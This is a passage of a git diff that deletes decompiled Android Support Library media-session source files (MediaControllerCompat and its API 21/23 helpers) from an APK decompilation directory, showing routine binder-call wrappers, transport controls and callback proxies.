- public void registerCallback(Callback callback, Handler handler) { - if (callback == null) { - throw new IllegalArgumentException("callback may not be null."); - } - try { - this.mBinder.asBinder().linkToDeath(callback, 0); - this.mBinder.registerCallbackListener((IMediaControllerCallback) callback.mCallbackObj); - callback.setHandler(handler); - callback.mRegistered = true; - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in registerCallback. " + e); - callback.onSessionDestroyed(); - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public void unregisterCallback(Callback callback) { - if (callback == null) { - throw new IllegalArgumentException("callback may not be null."); - } - try { - this.mBinder.unregisterCallbackListener((IMediaControllerCallback) callback.mCallbackObj); - this.mBinder.asBinder().unlinkToDeath(callback, 0); - callback.mRegistered = false; - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in unregisterCallback. " + e); - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public boolean dispatchMediaButtonEvent(KeyEvent keyEvent) { - if (keyEvent == null) { - throw new IllegalArgumentException("event may not be null."); - } - try { - this.mBinder.sendMediaButton(keyEvent); - return false; - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in dispatchMediaButtonEvent. " + e); - return false; - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public TransportControls getTransportControls() { - if (this.mTransportControls == null) { - this.mTransportControls = new TransportControlsBase(this.mBinder); - } - return this.mTransportControls; - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public PlaybackStateCompat getPlaybackState() { - try { - return this.mBinder.getPlaybackState(); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in getPlaybackState. " + e); - return null; - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public MediaMetadataCompat getMetadata() { - try { - return this.mBinder.getMetadata(); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in getMetadata. " + e); - return null; - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public List getQueue() { - try { - return this.mBinder.getQueue(); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in getQueue. " + e); - return null; - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public CharSequence getQueueTitle() { - try { - return this.mBinder.getQueueTitle(); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in getQueueTitle. " + e); - return null; - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public Bundle getExtras() { - try { - return this.mBinder.getExtras(); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in getExtras. " + e); - return null; - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public int getRatingType() { - try { - return this.mBinder.getRatingType(); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in getRatingType. " + e); - return 0; - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public long getFlags() { - try { - return this.mBinder.getFlags(); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in getFlags. " + e); - return 0L; - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public PlaybackInfo getPlaybackInfo() { - try { - ParcelableVolumeInfo volumeAttributes = this.mBinder.getVolumeAttributes(); - return new PlaybackInfo(volumeAttributes.volumeType, volumeAttributes.audioStream, volumeAttributes.controlType, volumeAttributes.maxVolume, volumeAttributes.currentVolume); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in getPlaybackInfo. " + e); - return null; - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public PendingIntent getSessionActivity() { - try { - return this.mBinder.getLaunchPendingIntent(); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in getSessionActivity. " + e); - return null; - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public void setVolumeTo(int i, int i2) { - try { - this.mBinder.setVolumeTo(i, i2, null); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in setVolumeTo. " + e); - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public void adjustVolume(int i, int i2) { - try { - this.mBinder.adjustVolume(i, i2, null); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in adjustVolume. " + e); - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public void sendCommand(String str, Bundle bundle, ResultReceiver resultReceiver) { - try { - this.mBinder.sendCommand(str, bundle, new MediaSessionCompat.ResultReceiverWrapper(resultReceiver)); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in sendCommand. " + e); - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public String getPackageName() { - try { - return this.mBinder.getPackageName(); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in getPackageName. " + e); - return null; - } - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class TransportControlsBase extends TransportControls { - private IMediaSession mBinder; - - public TransportControlsBase(IMediaSession iMediaSession) { - this.mBinder = iMediaSession; - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void prepare() { - try { - this.mBinder.prepare(); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in prepare. " + e); - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void prepareFromMediaId(String str, Bundle bundle) { - try { - this.mBinder.prepareFromMediaId(str, bundle); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in prepareFromMediaId. " + e); - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void prepareFromSearch(String str, Bundle bundle) { - try { - this.mBinder.prepareFromSearch(str, bundle); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in prepareFromSearch. " + e); - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void prepareFromUri(Uri uri, Bundle bundle) { - try { - this.mBinder.prepareFromUri(uri, bundle); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in prepareFromUri. " + e); - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void play() { - try { - this.mBinder.play(); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in play. " + e); - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void playFromMediaId(String str, Bundle bundle) { - try { - this.mBinder.playFromMediaId(str, bundle); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in playFromMediaId. " + e); - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void playFromSearch(String str, Bundle bundle) { - try { - this.mBinder.playFromSearch(str, bundle); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in playFromSearch. " + e); - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void playFromUri(Uri uri, Bundle bundle) { - try { - this.mBinder.playFromUri(uri, bundle); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in playFromUri. " + e); - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void skipToQueueItem(long j) { - try { - this.mBinder.skipToQueueItem(j); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in skipToQueueItem. " + e); - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void pause() { - try { - this.mBinder.pause(); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in pause. " + e); - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void stop() { - try { - this.mBinder.stop(); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in stop. " + e); - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void seekTo(long j) { - try { - this.mBinder.seekTo(j); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in seekTo. " + e); - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void fastForward() { - try { - this.mBinder.fastForward(); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in fastForward. " + e); - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void skipToNext() { - try { - this.mBinder.next(); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in skipToNext. " + e); - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void rewind() { - try { - this.mBinder.rewind(); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in rewind. " + e); - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void skipToPrevious() { - try { - this.mBinder.previous(); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in skipToPrevious. " + e); - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void setRating(RatingCompat ratingCompat) { - try { - this.mBinder.rate(ratingCompat); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in setRating. " + e); - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void sendCustomAction(PlaybackStateCompat.CustomAction customAction, Bundle bundle) { - sendCustomAction(customAction.getAction(), bundle); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void sendCustomAction(String str, Bundle bundle) { - try { - this.mBinder.sendCustomAction(str, bundle); - } catch (RemoteException e) { - Log.e(MediaControllerCompat.TAG, "Dead object in sendCustomAction. " + e); - } - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class MediaControllerImplApi21 implements MediaControllerImpl { - protected final Object mControllerObj; - - public MediaControllerImplApi21(Context context, MediaSessionCompat mediaSessionCompat) { - this.mControllerObj = MediaControllerCompatApi21.fromToken(context, mediaSessionCompat.getSessionToken().getToken()); - } - - public MediaControllerImplApi21(Context context, MediaSessionCompat.Token token) throws RemoteException { - Object fromToken = MediaControllerCompatApi21.fromToken(context, token.getToken()); - this.mControllerObj = fromToken; - if (fromToken == null) { - throw new RemoteException(); - } - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public void registerCallback(Callback callback, Handler handler) { - MediaControllerCompatApi21.registerCallback(this.mControllerObj, callback.mCallbackObj, handler); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public void unregisterCallback(Callback callback) { - MediaControllerCompatApi21.unregisterCallback(this.mControllerObj, callback.mCallbackObj); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public boolean dispatchMediaButtonEvent(KeyEvent keyEvent) { - return MediaControllerCompatApi21.dispatchMediaButtonEvent(this.mControllerObj, keyEvent); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public TransportControls getTransportControls() { - Object transportControls = MediaControllerCompatApi21.getTransportControls(this.mControllerObj); - if (transportControls != null) { - return new TransportControlsApi21(transportControls); - } - return null; - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public PlaybackStateCompat getPlaybackState() { - Object playbackState = MediaControllerCompatApi21.getPlaybackState(this.mControllerObj); - if (playbackState != null) { - return PlaybackStateCompat.fromPlaybackState(playbackState); - } - return null; - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public MediaMetadataCompat getMetadata() { - Object metadata = MediaControllerCompatApi21.getMetadata(this.mControllerObj); - if (metadata != null) { - return MediaMetadataCompat.fromMediaMetadata(metadata); - } - return null; - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public List getQueue() { - List queue = MediaControllerCompatApi21.getQueue(this.mControllerObj); - if (queue != null) { - return MediaSessionCompat.QueueItem.fromQueueItemList(queue); - } - return null; - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public CharSequence getQueueTitle() { - return MediaControllerCompatApi21.getQueueTitle(this.mControllerObj); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public Bundle getExtras() { - return MediaControllerCompatApi21.getExtras(this.mControllerObj); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public int getRatingType() { - return MediaControllerCompatApi21.getRatingType(this.mControllerObj); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public long getFlags() { - return MediaControllerCompatApi21.getFlags(this.mControllerObj); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public PlaybackInfo getPlaybackInfo() { - Object playbackInfo = MediaControllerCompatApi21.getPlaybackInfo(this.mControllerObj); - if (playbackInfo != null) { - return new PlaybackInfo(MediaControllerCompatApi21.PlaybackInfo.getPlaybackType(playbackInfo), MediaControllerCompatApi21.PlaybackInfo.getLegacyAudioStream(playbackInfo), MediaControllerCompatApi21.PlaybackInfo.getVolumeControl(playbackInfo), MediaControllerCompatApi21.PlaybackInfo.getMaxVolume(playbackInfo), MediaControllerCompatApi21.PlaybackInfo.getCurrentVolume(playbackInfo)); - } - return null; - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public PendingIntent getSessionActivity() { - return MediaControllerCompatApi21.getSessionActivity(this.mControllerObj); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public void setVolumeTo(int i, int i2) { - MediaControllerCompatApi21.setVolumeTo(this.mControllerObj, i, i2); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public void adjustVolume(int i, int i2) { - MediaControllerCompatApi21.adjustVolume(this.mControllerObj, i, i2); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public void sendCommand(String str, Bundle bundle, ResultReceiver resultReceiver) { - MediaControllerCompatApi21.sendCommand(this.mControllerObj, str, bundle, resultReceiver); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public String getPackageName() { - return MediaControllerCompatApi21.getPackageName(this.mControllerObj); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public Object getMediaController() { - return this.mControllerObj; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class TransportControlsApi21 extends TransportControls { - protected final Object mControlsObj; - - public TransportControlsApi21(Object obj) { - this.mControlsObj = obj; - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void prepare() { - sendCustomAction("android.support.v4.media.session.action.PREPARE", (Bundle) null); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void prepareFromMediaId(String str, Bundle bundle) { - Bundle bundle2 = new Bundle(); - bundle2.putString("android.support.v4.media.session.action.ARGUMENT_MEDIA_ID", str); - bundle2.putBundle("android.support.v4.media.session.action.ARGUMENT_EXTRAS", bundle); - sendCustomAction("android.support.v4.media.session.action.PREPARE_FROM_MEDIA_ID", bundle2); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void prepareFromSearch(String str, Bundle bundle) { - Bundle bundle2 = new Bundle(); - bundle2.putString("android.support.v4.media.session.action.ARGUMENT_QUERY", str); - bundle2.putBundle("android.support.v4.media.session.action.ARGUMENT_EXTRAS", bundle); - sendCustomAction("android.support.v4.media.session.action.PREPARE_FROM_SEARCH", bundle2); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void prepareFromUri(Uri uri, Bundle bundle) { - Bundle bundle2 = new Bundle(); - bundle2.putParcelable("android.support.v4.media.session.action.ARGUMENT_URI", uri); - bundle2.putBundle("android.support.v4.media.session.action.ARGUMENT_EXTRAS", bundle); - sendCustomAction("android.support.v4.media.session.action.PREPARE_FROM_URI", bundle2); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void play() { - MediaControllerCompatApi21.TransportControls.play(this.mControlsObj); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void pause() { - MediaControllerCompatApi21.TransportControls.pause(this.mControlsObj); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void stop() { - MediaControllerCompatApi21.TransportControls.stop(this.mControlsObj); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void seekTo(long j) { - MediaControllerCompatApi21.TransportControls.seekTo(this.mControlsObj, j); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void fastForward() { - MediaControllerCompatApi21.TransportControls.fastForward(this.mControlsObj); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void rewind() { - MediaControllerCompatApi21.TransportControls.rewind(this.mControlsObj); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void skipToNext() { - MediaControllerCompatApi21.TransportControls.skipToNext(this.mControlsObj); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void skipToPrevious() { - MediaControllerCompatApi21.TransportControls.skipToPrevious(this.mControlsObj); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void setRating(RatingCompat ratingCompat) { - MediaControllerCompatApi21.TransportControls.setRating(this.mControlsObj, ratingCompat != null ? ratingCompat.getRating() : null); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void playFromMediaId(String str, Bundle bundle) { - MediaControllerCompatApi21.TransportControls.playFromMediaId(this.mControlsObj, str, bundle); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void playFromSearch(String str, Bundle bundle) { - MediaControllerCompatApi21.TransportControls.playFromSearch(this.mControlsObj, str, bundle); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void playFromUri(Uri uri, Bundle bundle) { - if (uri == null || Uri.EMPTY.equals(uri)) { - throw new IllegalArgumentException("You must specify a non-empty Uri for playFromUri."); - } - Bundle bundle2 = new Bundle(); - bundle2.putParcelable("android.support.v4.media.session.action.ARGUMENT_URI", uri); - bundle2.putParcelable("android.support.v4.media.session.action.ARGUMENT_EXTRAS", bundle); - sendCustomAction("android.support.v4.media.session.action.PLAY_FROM_URI", bundle2); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void skipToQueueItem(long j) { - MediaControllerCompatApi21.TransportControls.skipToQueueItem(this.mControlsObj, j); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void sendCustomAction(PlaybackStateCompat.CustomAction customAction, Bundle bundle) { - MediaControllerCompatApi21.TransportControls.sendCustomAction(this.mControlsObj, customAction.getAction(), bundle); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControls - public void sendCustomAction(String str, Bundle bundle) { - MediaControllerCompatApi21.TransportControls.sendCustomAction(this.mControlsObj, str, bundle); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class MediaControllerImplApi23 extends MediaControllerImplApi21 { - public MediaControllerImplApi23(Context context, MediaSessionCompat mediaSessionCompat) { - super(context, mediaSessionCompat); - } - - public MediaControllerImplApi23(Context context, MediaSessionCompat.Token token) throws RemoteException { - super(context, token); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImplApi21, android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public TransportControls getTransportControls() { - Object transportControls = MediaControllerCompatApi21.getTransportControls(this.mControllerObj); - if (transportControls != null) { - return new TransportControlsApi23(transportControls); - } - return null; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class TransportControlsApi23 extends TransportControlsApi21 { - public TransportControlsApi23(Object obj) { - super(obj); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControlsApi21, android.support.v4.media.session.MediaControllerCompat.TransportControls - public void playFromUri(Uri uri, Bundle bundle) { - MediaControllerCompatApi23.TransportControls.playFromUri(this.mControlsObj, uri, bundle); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class MediaControllerImplApi24 extends MediaControllerImplApi23 { - public MediaControllerImplApi24(Context context, MediaSessionCompat mediaSessionCompat) { - super(context, mediaSessionCompat); - } - - public MediaControllerImplApi24(Context context, MediaSessionCompat.Token token) throws RemoteException { - super(context, token); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImplApi23, android.support.v4.media.session.MediaControllerCompat.MediaControllerImplApi21, android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public TransportControls getTransportControls() { - Object transportControls = MediaControllerCompatApi21.getTransportControls(this.mControllerObj); - if (transportControls != null) { - return new TransportControlsApi24(transportControls); - } - return null; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class TransportControlsApi24 extends TransportControlsApi23 { - public TransportControlsApi24(Object obj) { - super(obj); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControlsApi21, android.support.v4.media.session.MediaControllerCompat.TransportControls - public void prepare() { - MediaControllerCompatApi24.TransportControls.prepare(this.mControlsObj); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControlsApi21, android.support.v4.media.session.MediaControllerCompat.TransportControls - public void prepareFromMediaId(String str, Bundle bundle) { - MediaControllerCompatApi24.TransportControls.prepareFromMediaId(this.mControlsObj, str, bundle); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControlsApi21, android.support.v4.media.session.MediaControllerCompat.TransportControls - public void prepareFromSearch(String str, Bundle bundle) { - MediaControllerCompatApi24.TransportControls.prepareFromSearch(this.mControlsObj, str, bundle); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.TransportControlsApi21, android.support.v4.media.session.MediaControllerCompat.TransportControls - public void prepareFromUri(Uri uri, Bundle bundle) { - MediaControllerCompatApi24.TransportControls.prepareFromUri(this.mControlsObj, uri, bundle); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaControllerCompatApi21.java b/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaControllerCompatApi21.java deleted file mode 100644 index 84f6ad0..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaControllerCompatApi21.java +++ /dev/null @@ -1,287 +0,0 @@ -package android.support.v4.media.session; - -import android.app.PendingIntent; -import android.content.Context; -import android.media.AudioAttributes; -import android.media.MediaMetadata; -import android.media.Rating; -import android.media.session.MediaController; -import android.media.session.MediaSession; -import android.media.session.PlaybackState; -import android.os.Bundle; -import android.os.Handler; -import android.os.ResultReceiver; -import android.view.KeyEvent; -import java.util.ArrayList; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MediaControllerCompatApi21 { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface Callback { - void onAudioInfoChanged(int i, int i2, int i3, int i4, int i5); - - void onExtrasChanged(Bundle bundle); - - void onMetadataChanged(Object obj); - - void onPlaybackStateChanged(Object obj); - - void onQueueChanged(List list); - - void onQueueTitleChanged(CharSequence charSequence); - - void onSessionDestroyed(); - - void onSessionEvent(String str, Bundle bundle); - } - - MediaControllerCompatApi21() { - } - - public static Object fromToken(Context context, Object obj) { - return new MediaController(context, (MediaSession.Token) obj); - } - - public static Object createCallback(Callback callback) { - return new CallbackProxy(callback); - } - - public static void registerCallback(Object obj, Object obj2, Handler handler) { - ((MediaController) obj).registerCallback((MediaController.Callback) obj2, handler); - } - - public static void unregisterCallback(Object obj, Object obj2) { - ((MediaController) obj).unregisterCallback((MediaController.Callback) obj2); - } - - public static Object getTransportControls(Object obj) { - return ((MediaController) obj).getTransportControls(); - } - - public static Object getPlaybackState(Object obj) { - return ((MediaController) obj).getPlaybackState(); - } - - public static Object getMetadata(Object obj) { - return ((MediaController) obj).getMetadata(); - } - - public static List getQueue(Object obj) { - List queue = ((MediaController) obj).getQueue(); - if (queue == null) { - return null; - } - return new ArrayList(queue); - } - - public static CharSequence getQueueTitle(Object obj) { - return ((MediaController) obj).getQueueTitle(); - } - - public static Bundle getExtras(Object obj) { - return ((MediaController) obj).getExtras(); - } - - public static int getRatingType(Object obj) { - return ((MediaController) obj).getRatingType(); - } - - public static long getFlags(Object obj) { - return ((MediaController) obj).getFlags(); - } - - public static Object getPlaybackInfo(Object obj) { - return ((MediaController) obj).getPlaybackInfo(); - } - - public static PendingIntent getSessionActivity(Object obj) { - return ((MediaController) obj).getSessionActivity(); - } - - public static boolean dispatchMediaButtonEvent(Object obj, KeyEvent keyEvent) { - return ((MediaController) obj).dispatchMediaButtonEvent(keyEvent); - } - - public static void setVolumeTo(Object obj, int i, int i2) { - ((MediaController) obj).setVolumeTo(i, i2); - } - - public static void adjustVolume(Object obj, int i, int i2) { - ((MediaController) obj).adjustVolume(i, i2); - } - - public static void sendCommand(Object obj, String str, Bundle bundle, ResultReceiver resultReceiver) { - ((MediaController) obj).sendCommand(str, bundle, resultReceiver); - } - - public static String getPackageName(Object obj) { - return ((MediaController) obj).getPackageName(); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class TransportControls { - public static void play(Object obj) { - ((MediaController.TransportControls) obj).play(); - } - - public static void pause(Object obj) { - ((MediaController.TransportControls) obj).pause(); - } - - public static void stop(Object obj) { - ((MediaController.TransportControls) obj).stop(); - } - - public static void seekTo(Object obj, long j) { - ((MediaController.TransportControls) obj).seekTo(j); - } - - public static void fastForward(Object obj) { - ((MediaController.TransportControls) obj).fastForward(); - } - - public static void rewind(Object obj) { - ((MediaController.TransportControls) obj).rewind(); - } - - public static void skipToNext(Object obj) { - ((MediaController.TransportControls) obj).skipToNext(); - } - - public static void skipToPrevious(Object obj) { - ((MediaController.TransportControls) obj).skipToPrevious(); - } - - public static void setRating(Object obj, Object obj2) { - ((MediaController.TransportControls) obj).setRating((Rating) obj2); - } - - public static void playFromMediaId(Object obj, String str, Bundle bundle) { - ((MediaController.TransportControls) obj).playFromMediaId(str, bundle); - } - - public static void playFromSearch(Object obj, String str, Bundle bundle) { - ((MediaController.TransportControls) obj).playFromSearch(str, bundle); - } - - public static void skipToQueueItem(Object obj, long j) { - ((MediaController.TransportControls) obj).skipToQueueItem(j); - } - - public static void sendCustomAction(Object obj, String str, Bundle bundle) { - ((MediaController.TransportControls) obj).sendCustomAction(str, bundle); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class PlaybackInfo { - private static final int FLAG_SCO = 4; - private static final int STREAM_BLUETOOTH_SCO = 6; - private static final int STREAM_SYSTEM_ENFORCED = 7; - - public static int getPlaybackType(Object obj) { - return ((MediaController.PlaybackInfo) obj).getPlaybackType(); - } - - public static AudioAttributes getAudioAttributes(Object obj) { - return ((MediaController.PlaybackInfo) obj).getAudioAttributes(); - } - - public static int getLegacyAudioStream(Object obj) { - return toLegacyStreamType(getAudioAttributes(obj)); - } - - public static int getVolumeControl(Object obj) { - return ((MediaController.PlaybackInfo) obj).getVolumeControl(); - } - - public static int getMaxVolume(Object obj) { - return ((MediaController.PlaybackInfo) obj).getMaxVolume(); - } - - public static int getCurrentVolume(Object obj) { - return ((MediaController.PlaybackInfo) obj).getCurrentVolume(); - } - - private static int toLegacyStreamType(AudioAttributes audioAttributes) { - if ((audioAttributes.getFlags() & 1) == 1) { - return 7; - } - if ((audioAttributes.getFlags() & 4) == 4) { - return 6; - } - int usage = audioAttributes.getUsage(); - if (usage != 13) { - switch (usage) { - case 2: - return 0; - case 3: - return 8; - case 4: - return 4; - case 5: - case 7: - case 8: - case 9: - case 10: - return 5; - case 6: - return 2; - default: - return 3; - } - } - return 1; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class CallbackProxy extends MediaController.Callback { - protected final T mCallback; - - public CallbackProxy(T t) { - this.mCallback = t; - } - - @Override // android.media.session.MediaController.Callback - public void onSessionDestroyed() { - this.mCallback.onSessionDestroyed(); - } - - @Override // android.media.session.MediaController.Callback - public void onSessionEvent(String str, Bundle bundle) { - this.mCallback.onSessionEvent(str, bundle); - } - - @Override // android.media.session.MediaController.Callback - public void onPlaybackStateChanged(PlaybackState playbackState) { - this.mCallback.onPlaybackStateChanged(playbackState); - } - - @Override // android.media.session.MediaController.Callback - public void onMetadataChanged(MediaMetadata mediaMetadata) { - this.mCallback.onMetadataChanged(mediaMetadata); - } - - @Override // android.media.session.MediaController.Callback - public void onQueueChanged(List list) { - this.mCallback.onQueueChanged(list); - } - - @Override // android.media.session.MediaController.Callback - public void onQueueTitleChanged(CharSequence charSequence) { - this.mCallback.onQueueTitleChanged(charSequence); - } - - @Override // android.media.session.MediaController.Callback - public void onExtrasChanged(Bundle bundle) { - this.mCallback.onExtrasChanged(bundle); - } - - @Override // android.media.session.MediaController.Callback - public void onAudioInfoChanged(MediaController.PlaybackInfo playbackInfo) { - this.mCallback.onAudioInfoChanged(playbackInfo.getPlaybackType(), PlaybackInfo.getLegacyAudioStream(playbackInfo), playbackInfo.getVolumeControl(), playbackInfo.getMaxVolume(), playbackInfo.getCurrentVolume()); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaControllerCompatApi23.java b/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaControllerCompatApi23.java deleted file mode 100644 index da2d7b3..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaControllerCompatApi23.java +++ /dev/null @@ -1,18 +0,0 @@ -package android.support.v4.media.session; - -import android.media.session.MediaController; -import android.net.Uri; -import android.os.Bundle; -import android.support.v4.media.session.MediaControllerCompatApi21; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MediaControllerCompatApi23 { - MediaControllerCompatApi23() { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class TransportControls extends MediaControllerCompatApi21.TransportControls { - public static void playFromUri(Object obj, 